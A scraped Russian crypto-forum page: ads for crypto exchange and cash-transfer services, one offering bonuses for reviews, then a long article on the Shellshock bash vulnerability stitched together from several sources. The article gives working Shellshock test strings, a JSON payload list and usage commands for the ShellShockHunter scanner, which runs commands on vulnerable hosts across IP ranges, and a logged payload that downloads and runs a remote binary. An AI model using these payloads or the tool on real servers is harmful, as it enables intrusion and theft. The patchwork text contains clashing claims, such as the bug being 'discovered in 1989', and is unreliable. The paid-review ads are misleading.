настоящее время Обменный Сервис проводит акцию на самый честный отзыв о нашем сервисе: - Любой пользователь со стажем от 6 месяцев на данном форуме совершивший обмен получит приятный бонус, за отзыв о нас, подробности можете уточнить в онлайн чате у оператора. - При дублировании отзыва на КурсЭксперт бонус удваивается. P.S. Первый клиент оставивший отзыв о работе сервиса получает максимальный бонус в размере 1 LTC Контакты: Связаться с нами вы можете через онлайн чат на сайте https://cryptobar.men/ С уважением Администрация
  5. Всем привет! Приглашаем воспользоваться нашим сервисом по обмену криптовалют и перемещению наличных. Чем занимаемся: Покупка/продажа криптовалют за гривну (UAH) в автоматическом режиме через сайт Покупка/продажа криптовалют за наличные (UAH, USD, EUR) в Украине, Европе, Северной Америке и Азии Перемещение наличными между городами Украины и ряда стран мира Что предлагаем: Автоматический обмен криптовалют на сайте 24/7 Актуальные и конкурентоспособные тарифы Индивидуальные условия на больших объемах Конфиденциальность и безопасность операций Высокая скорость обработки заявок Клиентоориентированная команда проекта AML - вопросы и ответы: 1) - При обменах, принимаете ли вы криптовалюту клиента на свой локальный кошелек, или сразу на биржевой аккаунт? - Средства принимаем на биржевой аккаунт. 2) - Какой процент общего риска по AML считаете допустимым, до скольки % включительно? - Допустимый риск скор адреса до 70%, а также отсутствует связь адреса с подсанкционными сервисами 3) - Какой процент «красного» риска по AML (высокорискованные компоненты транзакции) вы считаете допустимым, до скольки % включительно? (речь о доле в общей сумме) - Учитывается общий риск скор адреса, а не отдельная его часть. Общий риск скор не должен превышать 70% и исключать связь с подсанкционными сервисами 4) - Что будет с клиентом и его монетами при превышении риска (если вы заметили грязь на своем локальном кошельке), или если ваша биржа заблочила монеты (если вы принимали сразу на биржу)? - Средства будут заморожены и попадут под рассмотрения AML специалистами биржи. Необходимо будет предоставить дополнительную верификацию для их разморозки. Контакты: Наш сайт: https://www.dvizh.com Telegram: https://t.me/dvizh_crypto Бот с живыми специалистами: https://t.me/dvizh_crypto_bot Email: dvizh.cryptoexchange@gmail.com Где работаем: Украина (Киев, Одесса, Днепр, Харьков, Львов, Запорожье, Винница, Черновцы, Ровно, Ужгород, Кривой Рог, Кременчуг, Хмельницкий, Луцк, Ивано-Франковск, Полтава, Черкассы, Житомир, Тернополь, Кропивницкий, Чернигов, Сумы) Европа: Чехия – Прага Англия – Лондон Австрия – Вена Болгария – София, Варна Германия – Берлин, Мюнхен, Дрезден, Дюссельдорф, Кёльн, Дортмунд Голландия – Амстердам Испания – Барселона, Мадрид, Малага, Марбелья Кипр – Лимассол Польша – Варшава, Краков Румыния – Бухарест Португалия – Лиссабон Словакия – Братислава Латвия – Рига Литва – Вильнюс Словения – Любляна Азия: ОАЭ – Дубай Турция – Стамбул, Анталия, Анкара, Аланья Китай – Шэньчжэнь, Гуанчжоу Грузия – Тбилиси, Батуми Казахстан – Алматы Узбекистан – Ташкент Северная Америка: США – Лос-Анджелес, Майами, Нью-Йорк Канада – Торонто, Монреаль, Ванкувер UPDATE: С начала августа 2023 года наш обменный пункт был успешно добавлен на мониторинг курсов обменников exchangesumo.com.
  6. Привет bits.media сообществу, 😉 Предлагаем ознакомиться с последней инновацией от ilink — WalletVerse. Для тех, кто постоянно ищет криптовалютные кошельки высшего уровня, это может быть следующим большим приложением, которое вы так долго ждали. Особенности WalletVerse: Обширная поддержка: WalletVerse — это не просто еще один кошелек. Он поддерживает более 300 криптовалют. Являетесь ли вы энтузиастом биткойнов или поклонником альткойнов, мы предоставим вам всю необходимую информацию. Ориентированный на пользователя дизайн. Если вас когда-либо разочаровывали сложные интерфейсы кошельков, WalletVerse — это глоток свежего воздуха. Разработанный с учетом потребностей пользователей, он может похвастаться удобным интерфейсом, в котором легко ориентироваться даже новичкам. Безопасность высшего уровня. В нестабильном мире криптовалют безопасность не подлежит обсуждению. WalletVerse уделяет приоритетное внимание безопасности ваших активов благодаря своим беспрецедентным функциям безопасности. Beyond Storage: это не просто место для хранения ваших активов. WalletVerse предлагает универсальную платформу для упреждающего управления цифровыми активами, предоставляющую удобные функции торговли и размещения ставок. Тимур А., генеральный директор ilink, подчеркивает: «С WalletVerse мы стремимся переопределить опыт работы с криптовалютой, сделав его более простым, безопасным и расширяющим возможности для всех участников». Учитывая быстрое расширение сферы цифровых валют, крайне важно иметь инструменты, которые не только соответствуют, но и устанавливают новые стандарты. Именно здесь в дело вступает WalletVerse, стремясь изменить стандарты криптовалютных кошельков. Хотите узнать, что может предложить WalletVerse? Зайдите на Walletverse.io, чтобы получить дополнительную информацию или скачать приложение. Если у вас есть какие-либо вопросы или предложения, не стесняйтесь обращаться к нам по адресу support@walletverse.io. Немного об ilink: Будучи лидером в разработке программного обеспечения и блокчейна, ilink стремится внедрять инструменты, которые устанавливают более высокую планку в технологическом ландшафте. Веб-сайт компании ilink.dev, электронная почта hello@ilink.dev. Мы верим в потенциал криптосообщества и стремимся предлагать продукты, которые подтолкнут нас всех к более безопасному и удобному для пользователя цифровому будущему. Попробуйте WalletVerse, и давайте вместе сделаем шаг вперед!
  7. CRYPTO DEEP TECH В этой статье мы рассмотрим серию программных уязвимостей на веб-сервера, обнаруженных в программе GNU Bash . Множество интернет-сервисов, в том числе веб-сервера блокчейна Биткоин, используют Bash для обработки некоторых запросов, например при исполнении CGI–скриптов. Уязвимость позволяет атакующему исполнять произвольные команды, получив неправомерный доступ к компьютерным системам, что позволяет злоумышленнику извлекать приватные ключи и скрытые данные сервера. Shellshock — это не что иное, как уязвимость удаленного выполнения кода в bash. Это связано с тем, что bash неправильно выполняет завершающие команды при импорте определения функции, хранящегося в переменной среды. GitHub BugShellshock влияет на Bash. Bash — это программа, которую различные системы на базе Unix используют для выполнения командных строк и командных сценариев. Баг была обнаружена 5 августа 1989 года и выпущена в версии Bash 1.03 1 сентября 1989 года. Shellshock — это уязвимость повышения привилегий, которая дает пользователям системы возможность выполнять команды, которые должны быть для них недоступны. Уязвимости заключаются в том, что Bash вопреки задекларированным возможностям производит исполнение команд при получении некоторых нестандартных значений переменных окружения (environment). За несколько дней после публикации оригинальной уязвимости было обнаружено несколько сходных ошибок, что не позволило оперативно издать версию с исправлениями. Stéphane Chazelas Изначальная ошибка была обнаружена Стефаном Шазеля (фр. Stéphane Chazelas) 12 сентября 2014 года, который предложил назвать её «bashdoor» (созвучно backdoor). Уязвимость получила в базе MITRE номер CVE-2014-6271 и оставалась неопубликованной (находилась под эмбарго) до 14 часов по UTC 24 сентября. Цель вышеуказанного ограничения заключалась в том, что авторы программы, создатели дистрибутивов и иные заинтересованные организации получили время принять необходимые меры. Анализ исходного кода Bash свидетельствует, что уязвимость была заложена в код приблизительно в версии 1.13 в 1992 году или ранее и с тех пор оставалась необнаруженной среди общей публики и незадекларированной. Группа авторов Bash затрудняется в определении точного времени внедрения ошибки из-за недостаточно подробной истории изменений (changelog). Security Experts Expect ‘Shellshock’ Software Bug in Bash to Be Significant 25 сентября 2014 года на базе уязвимости уже были созданы ботнеты для проведения DoS- и DDoS-атак, а также для сканирования уязвимостей. Предполагается, что уязвимы миллионы систем. Ошибка получила максимальную оценку по шкале опасности и сравнивается по значению с Heartbleed — ошибкой в OpenSSL (апрель 2014) Уязвимость Shellshock (bashdoor) относится к программе bash (разрабатывается в рамках проекта GNU), используемой во множестве Unix-подобных операционных систем и дистрибутивов в качестве интерпретатора командной строки и для исполнения командных скриптов. Часто устанавливается в качестве системного интерпретатора по умолчанию. В Unix-подобных и других поддерживаемых bash операционных системах каждая программа имеет список пар имя-значение, называемый переменными среды (англ. environment variable). Когда одна программа запускает другую, то также передается изначальный список переменных среды. Кроме переменных среды, bash также поддерживает внутренний список функций — именованных скриптов, которые могут вызываться из исполняемого скрипта bash. При запуске новых экземпляров bash из существующего bash возможна передача (экспортирование, export) значений существующих переменных окружения и определений функций в порождаемый процесс. Определения функций экспортируются путём кодирования их в виде новых переменных окружения специального формата, начинающегося с пустых скобок (), за которыми следует определение функции в виде строки. Новые экземпляры bash при своем запуске сканируют все переменные среды, детектируя данный формат и преобразовывая его обратно в определение внутренней функции. Данное преобразование проводится путём создания фрагмента bash-кода на базе значения переменной среды и его исполнения, то есть «на лету» (англ. on-the-fly). Подверженные уязвимости версии bash не производят проверок, что исполняемый фрагмент содержит лишь определение функции. Таким образом, если злоумышленник имеет возможность подать произвольную переменную среды в запуск bash, то появляется возможность исполнения произвольных команд. 27 сентября был опубликован качественный патч, который добавляет ко всем экспортируемым и импортируемым функциям специальный префикс при их преобразовании в переменные окружения и обратно[15]. В тот же день, когда была опубликована информация об оригинальной уязвимости и патчи, исправляющие её, Tavis Ormandy обнаружил новую родственную ошибку CVE-2014-7169. Обновлённые исправления стали доступны 26 сентября. Во время работы над исправлением оригинальной ошибки Shellshock, исследователь компании Red Hat, Florian Weimer обнаружил ещё две ошибки: CVE-2014-7186 и CVE-2014-7187. 26 сентября 2014 два разработчика open-source, David A. Wheeler и Norihiro Tanaka заметили, что существуют дополнительные проблемы, всё ещё не исправленные патчами, доступными на тот момент. В своём электронном письме в почтовые списки рассылок «oss-sec» и «bash bug» Wheeler писал: 27 сентября 2014, Michal Zalewski анонсировал, что обнаружил несколько других ошибок в bash, одна из которых использует то, что bash часто компилируется без использования техники защиты ASLR (Address Space Layout Randomization). Zalewski также призвал срочно применить патч от Florian Weimer. Рандомизация адресного пространства препятствует некоторым типам атак на безопасность, усложняя злоумышленнику предсказание целевых адресов. Например, злоумышленники, пытающиеся выполнить атаку с возвратом в библиотеку[Return-to-libc_attack], должны найти код, который будет выполнен, в то время как другие злоумышленники, пытающиеся выполнить Shellcode, внедренный в стек, должны сначала найти стек. В обоих случаях система скрывает от злоумышленников соответствующие адреса памяти. Эти значения необходимо угадать, а ошибочное предположение обычно невозможно исправить из-за сбоя приложения. Рандомизация макета адресного пространства основана на низкой вероятности того, что злоумышленник угадает расположение случайно расположенных областей. Безопасность повышается за счет увеличения пространства поиска. Таким образом, рандомизация адресного пространства более эффективна, когда в случайных смещениях присутствует большая энтропия . Энтропия увеличивается либо за счет увеличения объема области виртуальной памяти , в которой происходит рандомизация, либо за счет уменьшения периода, в течение которого происходит рандомизация. Период обычно реализуется как можно меньшим, поэтому большинство систем должны увеличить рандомизацию пространства VMA. Чтобы обойти рандомизацию, злоумышленники должны успешно угадать позиции всех областей, которые они хотят атаковать. Для таких областей данных, как стек и куча, куда можно загрузить собственный код или полезные данные, можно атаковать более одного состояния с помощью слайдов NOP для кода или повторяющихся копий данных. Это позволяет атаке добиться успеха, если область рандомизирована по одному из нескольких значений. Напротив, такие области кода, как база библиотеки и основной исполняемый файл, должны быть точно обнаружены. Часто эти области смешиваются, например, в стек вставляются кадры стека , а в него возвращается библиотека. The following variables can be declared: {\displaystyle E_{s}} (entropy bits of stack top) {\displaystyle E_{m}} (entropy bits of mmap() base) {\displaystyle E_{x}} (entropy bits of main executable base) {\displaystyle E_{h}} (entropy bits of heap base) {\displaystyle A_{s}} (attacked bits per attempt of stack entropy) {\displaystyle A_{m}} (attacked bits per attempt of mmap() base entropy) {\displaystyle A_{x}} (attacked bits per attempt of main executable entropy) {\displaystyle A_{h}} (attacked bits per attempt of heap base entropy) {\displaystyle \alpha } (attempts made) {\displaystyle N} (total amount of entropy: {\displaystyle N=(E_{s}-A_{s})+(E_{m}-A_{m})+(E_{x}-A_{x})+(E_{h}-A_{h})\,}) Чтобы вычислить вероятность успеха злоумышленника, мы должны предположить, что количество попыток α было выполнено без прерывания сигнатурной IPS, правоохранительными органами или другим фактором; в случае брутфорса демон не может быть перезапущен. Нам также необходимо выяснить, сколько бит имеет значение и сколько подвергается атаке при каждой попытке, оставляя столько битов, которые атакующий должен победить. Следующие формулы представляют вероятность успеха для данного набора α -попыток на N битах энтропии. Во многих системах{\displaystyle 2^{N}}могут исчисляться тысячами или миллионами; в современных 64-битных системах эти числа обычно достигают как минимум миллионов, Hector Marco-Gisbert and Ismael Ripoll показали в 2014 году, как обойти ASLR в 64-битных системах менее чем за одну секунду при определенных обстоятельствах. On the Effectiveness of Full-ASLR on 64-bit Linux Для 32-битных систем на компьютерных скоростях 2004 года, которые имеют 16 бит для рандомизации адресов, Шачам и его коллеги утверждают, что «… 16 бит рандомизации адресов можно преодолеть с помощью грубой атаки Brute-force attack за считанные минуты». Заявление авторов зависит от возможности атаковать одно и то же приложение несколько раз без каких-либо задержек. Правильные реализации ASLR, например, включенные в grsecurity, предоставляют несколько способов сделать такие атаки методом перебора невозможными. Один из методов предполагает предотвращение выполнения исполняемого файла в течение настраиваемого периода времени, если он произошел сбой определенное количество раз. Android, и, возможно, другие системы, реализовать рандомизацию порядка загрузки библиотек — форму ASLR, которая рандомизирует порядок загрузки библиотек. Это обеспечивает очень небольшую энтропию. Ниже приведено приблизительное количество бит энтропии, предоставленной для каждой необходимой библиотеки; это еще не учитывает различные размеры библиотек, поэтому фактическая полученная энтропия действительно несколько выше. Обратите внимание, что злоумышленникам обычно нужна только одна библиотека; математика более сложна с несколькими библиотеками и также показана ниже. Обратите внимание, что случай, когда злоумышленник использует только одну библиотеку, представляет собой упрощение более сложной формулы: Эти значения имеют тенденцию быть низкими даже для больших значений l , что наиболее важно, поскольку злоумышленники обычно могут использовать только стандартную библиотеку C , и поэтому часто можно предположить, что{\displaystyle \beta \,=1}. Однако даже для небольшого количества библиотек здесь можно получить некоторый выигрыш в энтропии; Таким образом, потенциально интересно объединить рандомизацию порядка загрузки библиотеки со рандомизацией адресов VMA, чтобы получить несколько дополнительных бит энтропии. Обратите внимание, что эти дополнительные биты энтропии не будут применяться к другим сегментам mmap(), а только к библиотекам. Уменьшение энтропии: Список уязвимостей: CVE-2014-6271 Оригинальный bashdoor: переменная окружения специального вида состоит из определения экспортируемой функции, за которым следуют произвольные команды. Bash уязвимых версий исполняет эти произвольные команды во время своего запуска. Пример ошибки:env x='() { :;}; echo Уязвим’ bash -c “echo Тестовая печать” В уязвимых системах этот тест напечатает фразу «Уязвим», выполнив команду из переменной окружения x. CVE-2014-6277 На 29 сентября детали уязвимости публично не раскрывались. CVE-2014-6278 На 29 сентября детали уязвимости публично не раскрывались. CVE-2014-7169 Обнаружено Tavis Ormandy во время работы над CVE-2014-6271: env X='() { (a)=>\' sh -c "echo date"; cat echo Тест приводит к тому, что «echo» становится именем файла для перенаправления вывода, а «date» исполняется. Ошибка получила номер CVE-2014-7169. Пример ошибки 7169 на системе, получившей исправление ошибки CVE-2014-6271 но не ошибки CVE-2014-7169:[32]$ X='() { (a)=>\’ bash -c “echo date” bash: X: line 1: syntax error near unexpected token `=’ bash: X: line 1: `’ bash: error importing function definition for `X’ [root@ ec2-user]# cat echo Fri Sep 26 01:37:16 UTC 2014 Исправление обеих ошибок CVE-2014-6271 и CVE-2014-7169 приведет к неработоспособности теста:$ X='() { (a)=>\’ bash -c “echo date” date $ cat echo cat: echo: No such file or directory CVE-2014-7186 Ошибка вызвана сходными проблемами в коде Bash однако воздействует с помощью многократного повторения “<<EOF”Тестbash -c ‘true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF’ || echo “Уязвим по CVE-2014-7186, redir_stack” Уязвимая система отобразит текст “Уязвим по CVE-2014-7186, redir_stack”. CVE-2014-7187 Ошибка вызвана сходными проблемами в коде Bash, однако воздействует с помощью множественных повторений «done»Тест(for x in {1..200} ; do echo “for x$x in ; do :”; done; for x in {1..200} ; do echo done ; done) | bash || echo “Уязвим по CVE-2014-7187, word_lineno” Уязвимая система отобразит текст «Уязвим по CVE-2014-7187, word_lineno». Векторы атаки В течение часа после публикации уязвимости Bash появились сообщения о взломе компьютерных систем с её помощью. 25 сентября были подтверждены различные атаки «in the wild», начиная с простых DoS, заканчивая развёртыванием серверов command & control через зловредную систему «BASHLITE». Корпорация Kaspersky Labs сообщала, что некоторые из зараженных компьютеров начали атаку DDoS против трех целей[8]. 26 сентября был обнаружен ботнет «wopbot», составленный из серверов, зараженных через bashdoor, и используемый в DDoS против CDN Akamai Technologies и для сканирования сетей Министерства обороны США[7]. Существует несколько потенциальных путей, которыми атакующий может воспользоваться для передачи произвольных переменных окружения в bash, исполняемый на атакуемом сервере: CGI-атака на веб-сервера блокчейна Биткоин. Веб-сервера, исполняющие скрипты Common Gateway Interface (CGI) передают подробности о пользовательском запросе через переменные окружения, например HTTP_USER_AGENT. Если запрос обрабатывается программой Bash, либо другой программой, которая внутри себя вызывает bash, то атакующий может подменить передаваемую по http строку User-Agent на триггер атаки Shellshock, добавив свои команды. Например, в качестве такой команды может подаваться инструкция «ping» с адресом атакующего. По входящим ping-запросам атакующий узнает, сработала ли атака. Несмотря на то, что CGI — устаревший интерфейс, обладающий и другими рисками безопасности[37], он всё ещё используется. Например, уязвим один из стандартных скриптов cPanel[38], по оценкам уязвимый cPanel может использоваться на 2—3 % веб-сайтов[39]. Атака на SSH-сервер SSH-сервер OpenSSH позволяет ограничивать пользователя фиксированным набором доступных команд (опция «ForceCommand»). Фиксированная команда исполняется даже если пользователь запросил исполнение иной команды. Запрошенная команда в этом случае сохраняется в переменной среды «SSH_ORIGINAL_COMMAND». Если фиксированная команда исполняется в интерпретаторе Bash shell (если пользовательский интерпретатор установлен в Bash), GNU Bash обнаружит заложенные в среду значения SSH_ORIGINAL_COMMAND при запуске, и, в случае уязвимости перед Bashdoor, исполнит встроенные туда команды. Таким образом атакующий с доступом лишь к ограниченной оболочке получает неограниченный доступ[3]. Набор OpenSSH содержит следующие компоненты:sshЗамена для rlogin и telnet.scpЗамена для rcp, использующая в современных версиях OpenSSH протокол SFTP (ранее использовался менее надёжный и гибкий SCP).sftpЗамена для FTP-клиента, использующая протокол SFTP.sshdДемон, собственно предоставляющий защищённый доступ к ресурсам. Включает реализацию серверной части SFTP, пригодную для организации chroot-доступа для пользователей без необходимости копирования каких-либо файлов внутрь chroot.sftp-serverОтдельная реализация подсистемы SFTP (серверная часть). Обладает бо́льшими возможностями, чем встроенная в sshd.ssh-keygenГенератор пар ключей.ssh-keysignУтилита для проверки ключей хостов. Задействуется при использовании аутентификации по хостам (аналогично rsh) вместо проводимой по умолчанию аутентификации по пользователям.ssh-keyscanВспомогательная утилита. Позволяет собирать публичные ключи с других хостов.ssh-agentВспомогательная утилита. Поддерживает кэш закрытых ключей. Кэширование позволяет избегать частого ввода пароля для расшифровки ключей перед их использованием.ssh-addВспомогательная утилита. Добавляет ключи в кэш ssh-agent. Безопасные туннели Перенаправление портов Большинство программ для установления соединения используют протокол TCP, трафик которого можно передавать через безопасный туннель. Таким образом можно устанавливать множество дополнительных TCP-соединений поверх одного SSH-соединения. Это удобно для сокрытия соединений и шифрования протоколов, которые являются небезопасными, а также для обхода ограничений фаерволлов. UDP-соединения иногда тоже возможно туннелировать при помощи дополнительных программ, таких как netcat. Простыми для туннелирования являются такие протоколы как, например, HTTP, POP3 и VNC. Перенаправление портов возможно в любую сторону. Кроме того, некоторое ПО может автоматически использовать OpenSSH для создания туннеля. Например DistCC, CVS, rsync, и fetchmail. Из протоколов, которые сложнее туннелировать, стоит отметить FTP, который часто можно заменить SFTP, и SMB. В некоторых операционных системах удаленные файловые системы можно монтировать через ssh используя shfs, lufs и другие аналогичные компоненты. X Window System OpenSSH позволяет безопасно организовывать подключения к X Window System с учётом «переворота» семантики: хост-клиент SSH для X Window System является сервером, и наоборот. Для этого OpenSSH осуществляет дополнительные операции вроде установки переменной окружения DISPLAY. SOCKS OpenSSH возможно использовать как специальный SOCKS прокси сервер поддерживающий более гибкое проксирование, чем просто перенаправление портов. VPN Начиная с версии 4.3, OpenSSH может использовать туннельные сетевые интерфейсы 2-го и 3-го уровней модели OSI (tun). Таким образом можно организовать защищённую VPN и обойтись без необходимости переделки приложений для поддержки SOCKS. Аутентификация OpenSSH сервер может аутентифицировать пользователей, используя встроенные механизмы аутентификации: Публичные ключи, Клавиатурный ввод (пароли и запрос-ответ), Kerberos/GSS-API. В дополнение OpenSSH Portable обычно может использовать методы аутентификации, доступные в конкретной операционной системе, например, BSD Authentication или PAM. Атака на DHCP-клиент DHCP-клиент обычно запрашивает IP адрес у DHCP-сервера. Однако сервер может послать несколько дополнительных опций, которые могут записываться в переменные среды и приводить к эксплуатации ошибки Shellshock на компьютере или ноутбуке, подключаемом к локальной сети. Повышение привилегий через setuid программы Программа с установленным битом setuid может вызывать bash непосредственно, либо косвенно при использовании системных вызовов system(3), popen и других, не сбрасывая при этом переменные окружения. Атака Shellshock в таких случаях позволит локальному пользователю повысить собственные привилегии до владельца подобной setuid программы, часто вплоть до root (суперпользователя). Уязвимость офлайн-систем Ошибка потенциально может достичь систем, не подключённых к сети Интернет, во время офлайн-обработки с помощью bash. Уязвимость CVE-2014-6271 («Bash») – это легко эксплуатируемая уязвимость, использование которой может привести к очень серьезным последствиям. Эксплуатируя эту уязвимость, атакующая сторона получает возможность выполнять команды системного уровня с такими же привилегиями, как и затронутые сервисы. В большинстве случаев, встречающихся сейчас в интернете, киберпреступники удаленно атакуют веб-серверы, на которых размещены CGI –скрипты, написанные на языке bash. В настоящее время уязвимость уже была использована киберпреступниками: уязвимые веб-серверы заражались вредоносным ПО, а также проводились хакерские атаки. Аналитики «Лаборатории Касперского» постоянно обнаруживают новые вредоносные образцы и случаи заражения с использованием данной уязвимости. Дополнительная информация об этом вредоносном ПО будет опубликована в ближайшее время. Важно понимать, что данная уязвимость не привязана к конкретному сервису, такому как Apache или nginx. Скорее, это уязвимость интерпретатора командной оболочки bash, позволяющая атакующей стороне добавлять команды системного уровня к переменным среды bash. Как эксплуатируется уязвимость? Я постараюсь объяснить принцип эксплуатации уязвимости на тех примерах, которые даются в информационных сообщениях и опубликованном концептуальном коде. CGI-скрипт, размещенный на веб-сервере, автоматически читает определенные переменные среды, такие как IP-адрес, версия браузера и информация о локальной системе. Теперь представьте себе, что есть возможность не только передать эту обычную системную информацию CGI-скрипту, но и поручить скрипту выполнение команд системного уровня. Это означает, что как только происходит обращение к CGI-скрипту, он считывает переменные вашей среды – без всякой регистрации на веб-сервере. Если переменные среды содержат строку эксплойта, скрипт также выполнит указанную вами команду. ShellShockHunter Tool v1.0 Shellshock (software bug) Shellshock, также известный как Bashdoor, представляет собой семейство ошибок безопасности в оболочке Unix Bash, первая из которых была обнаружена 24 сентября 2014 года. Shellshock может позволить злоумышленнику заставить Bash выполнять произвольные команды и получить несанкционированный доступ ко многим интернет-файлам. сталкиваются со службами, такими как веб-серверы, которые используют Bash для обработки запросов. GIT CLONE git clone https://github.com/MrCl0wnLab/ShellShockHunter INSTALLATION pip pip install shodan pip install ipinfo ,'/ ,' / ,' /_____, .'____ ,' / ,' / ,' /,' /' ____ _ _____ _ _ ____ _ ___ _ / ___|| |__ |___ /| | | | / ___|| |__ / _ \ ___| | __ \___ \| '_ \ |_ \| | | | \___ \| '_ \| | | |/ __| |/ / ___) | | | |___) | |___| |___ ___) | | | | |_| | (__| < |____/|_| |_|____/|_____|_____|____/|_| |_|\___/ \___|_|\_\ __ _ _ _ __ | _| | | | |_ _ _ __ | |_ ___ _ __ |_ | | | | |_| | | | | '_ \| __/ _ \ '__| | | | | | _ | |_| | | | | || __/ | | | | | |_| |_|\__,_|_| |_|\__\___|_| | | |__| |__| v1.0 By: MrCl0wn / https://blog.mrcl0wn.com usage: tool [-h] [--file <ips.txt>] [--range <ip-start>,<ip-end>] [--cmd-cgi <command shell>] [--exec-vuln <command shell>] [--thread <10>] [--check] [--ssl] [--cgi-file <cgi.txt>] [--timeout <5>] [--all] [--debug] optional arguments: -h, --help show this help message and exit --file <ips.txt> File targets --range <ip-start>,<ip-end> Range IP Ex: 192.168.15.1,192.168.15.100 --cmd-cgi <command shell> Command: uname -a --exec-vuln <command shell> Executing commands on vulnerable targets --thread <10>, -t <10> Eg. 20 --check Checker vuln --ssl Set protocol https --cgi-file <cgi.txt> Set file cgi --timeout <5> Set timeout conection --all Teste all payloads --debug Set debugs COMMAND: python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 10 --ssl --cgi-file 'wordlist/cgi.txt' python main.py --range '194.206.187.X,194.206.187.XXX' --cmd 'id;uname -a' --thread 10 --ssl --cgi-file 'wordlist/cgi.txt' python main.py --file targets.txt --cmd 'id;uname -a' --thread 10 --ssl --cgi-file 'wordlist/cgi.txt' python main.py --file targets.txt --cmd 'id;uname -a' --thread 10 --ssl --cgi-file 'wordlist/cgi.txt' --all python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl --cgi-file 'wordlist/cgi2.txt' --exec-vuln 'curl -v -k -i "_TARGET_"' python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl --cgi-file 'wordlist/cgi2.txt' --exec-vuln './exploit -t "_TARGET_"' В чем уникальность этой уязвимости? Данную уязвимость крайне легко эксплуатировать, что приводит к крайне тяжелым последствиям – не в последнюю очередь из-за количества уязвимых мишеней. Это касается не только веб-серверов, но и любого ПО, использующего интерпретатор bash и считывающего данные, которые вы можете контролировать. В данный момент аналитики выясняют, затронуты ли в связи с этой уязвимостью другие интерпретаторы – PHP, JSP, Python и Perl. В зависимости от того, как написан код, интерпретатор в некоторых случаях может использовать bash для выполнения ряда функций. В связи с этим эксплуатация уязвимости CVE-2014-6271 может быть осуществлена через другие интерпретаторы. Эксплуатация уязвимости имеет серьезные последствия в силу того, что CGI-скрипты широко используются на многих устройствах: роутерах, бытовых устройствах и беспроводных точках доступа. Все они также уязвимы, причем закрыть уязвимость на них зачастую достаточно сложно. PRINTS: Насколько широко эксплуатируется данная уязвимость? На этот вопрос сложно дать точный ответ. По данным информационных сервисов «Лаборатории Касперского», разработка экплойтов и червей началась сразу после публикации информации об уязвимости. Поиск уязвимых серверов в интернете ведется как белыми, так и черными хакерами. Пока недостаточно данных, чтобы определить, насколько распространена эта уязвимость. Из своих личных исследований я знаю, что на CGI-скриптах работает множество веб-серверов. Весьма вероятно, что в будущем будет разрабатываться большое количество эксплойтов, нацеленных на локальные файлы и сетевых демонов. Кроме того, есть подозрения, что OpenSSH и dhcp-клиенты также уязвимы к данному типу атак. Как проверить, есть ли уязвимость в моей системе/вебсайте? Проще всего проверить систему на наличие уязвимости следующим образом: открыть на вашей системе командную оболочку bash и выполнить следующую команду: 1 “env x='() { :;}; echo vulnerable’ bash -c “echo this is a test” Если оболочка возвращает строку «vulnerable», систему нужно обновить. Для более опытных пользователей имеются другие инструменты, позволяющие проверить на наличие данной уязвимости сервер. Как решить проблему? В первую очередь нужно обновить версию среды bash. Патчи для этой уязвимости доступны в различных дистрибутивах Linux. И пусть на сегодняшний день не все патчи показали себя стопроцентно эффективными, начать следует именно с их установки. Если вы используете любую систему обнаружения и/или предотвращения вторжений, также рекомендуется добавить/загрузить сигнатуру для данной угрозы. Опубликовано множество публичных правил. Наконец, проверьте конфигурацию вашего веб-сервера. Если имеются неиспользуемые CGI-скрипты, рассмотрите возможность их отключения. { "DEFAULT": "() { :; }; echo ; /bin/bash -c '_COMMAND_'", "CVE-2014-6271": "() { :; }; echo _CHECKER_; /bin/bash -c '_COMMAND_'", "CVE-2014-6271-2": "() { :;}; echo '_CHECKER_' 'BASH_FUNC_x()=() { :;}; echo _CHECKER_' bash -c 'echo _COMMAND_'", "CVE-2014-6271-3": "() { :; }; echo ; /bin/bash -c '_COMMAND_';echo _CHECKER_;", "CVE-2014-7169": "() { (a)=>\\' /bin/bash -c 'echo _CHECKER_'; cat echo", "CVE-2014-7186": "/bin/bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' || echo '_CHECKER_, redir_stack'", "CVE-2014-7187": "(for x in {1..200} ; do echo \"for x$x in ; do :\"; done; for x in {1..200} ; do echo done ; done) | /bin/bash || echo '_CHECKER_, word_lineno'", "CVE-2014-6278": "() { _; } >_[$($())] { echo _CHECKER_; id; } /bin/bash -c '_COMMAND_'", "CVE-2014-6278-2": "shellshocker='() { echo _CHECKER_; }' bash -c shellshocker", "CVE-2014-6277": "() { x() { _; }; x() { _; } <<a; } /bin/bash -c _COMMAND_;echo _CHECKER_", "CVE-2014-*": "() { }; echo _CHECKER_' /bin/bash -c '_COMMAND_'" } Есть ли угроза для онлайн-банкинга? Эксплуатация данной уязвимости широко применяется по отношению к серверам, размещенным в интернете. Уязвимы даже некоторые рабочие станции, работающие на Linux и OSX, однако киберпреступникам для проведения атаки необходимо найти вектор атаки, позволяющий удаленно использовать уязвимость на конкретной рабочей станции. Данная угроза нацелена не на индивидуальных пользователей, а на серверы, размещенные в интернете. Это означает, что если, например, уязвим ваш любимый сайт электронной коммерции или онлайн-банкинга, то злоумышленники теоретически могут взломать сервер и получить доступ к вашим персональным данным, в том числе, возможно, и к банковской информации. Пока сложно сказать определенно, какие платформы могут быть уязвимы и стать мишенью для атаки, но я бы рекомендовал не проводить платежи по кредитной карте и не делиться конфиденциальной информацией в сети в ближайшую пару дней, пока вирусные аналитики не прояснят ситуацию. { "config": { "threads": 10, "path": { "path_output": "output/", "path_wordlist": "wordlist/", "path_modules": "modules/", "path_assets": "assets/" }, "files_assets":{ "config": "assets/config.json", "autor": "assets/autor.json", "exploits": "assets/exploits.json" }, "api":{ "shodan":"", "ipinfo":"" } } } Как я могу определить, что стал мишенью для атаки с использованием этой уязвимости? Мы рекомендуем просмотреть ваши HTTP-журналы и проверить, нет ли в них записей о подозрительной активности, например такой: 1 192.168.1.1 – – [25/Sep/2014:14:00:00 +0000] “GET / HTTP/1.0” 400 349 “() { :; }; wget -O /tmp/besh http://192.168.1.1/filename; chmod 777 /tmp/besh; /tmp/besh;” Существуют также некоторые патчи для среды bash, которые протоколируют каждую команду, передаваемую bash-интерпретатору, что позволяет проследить, не был ли ваш компьютер 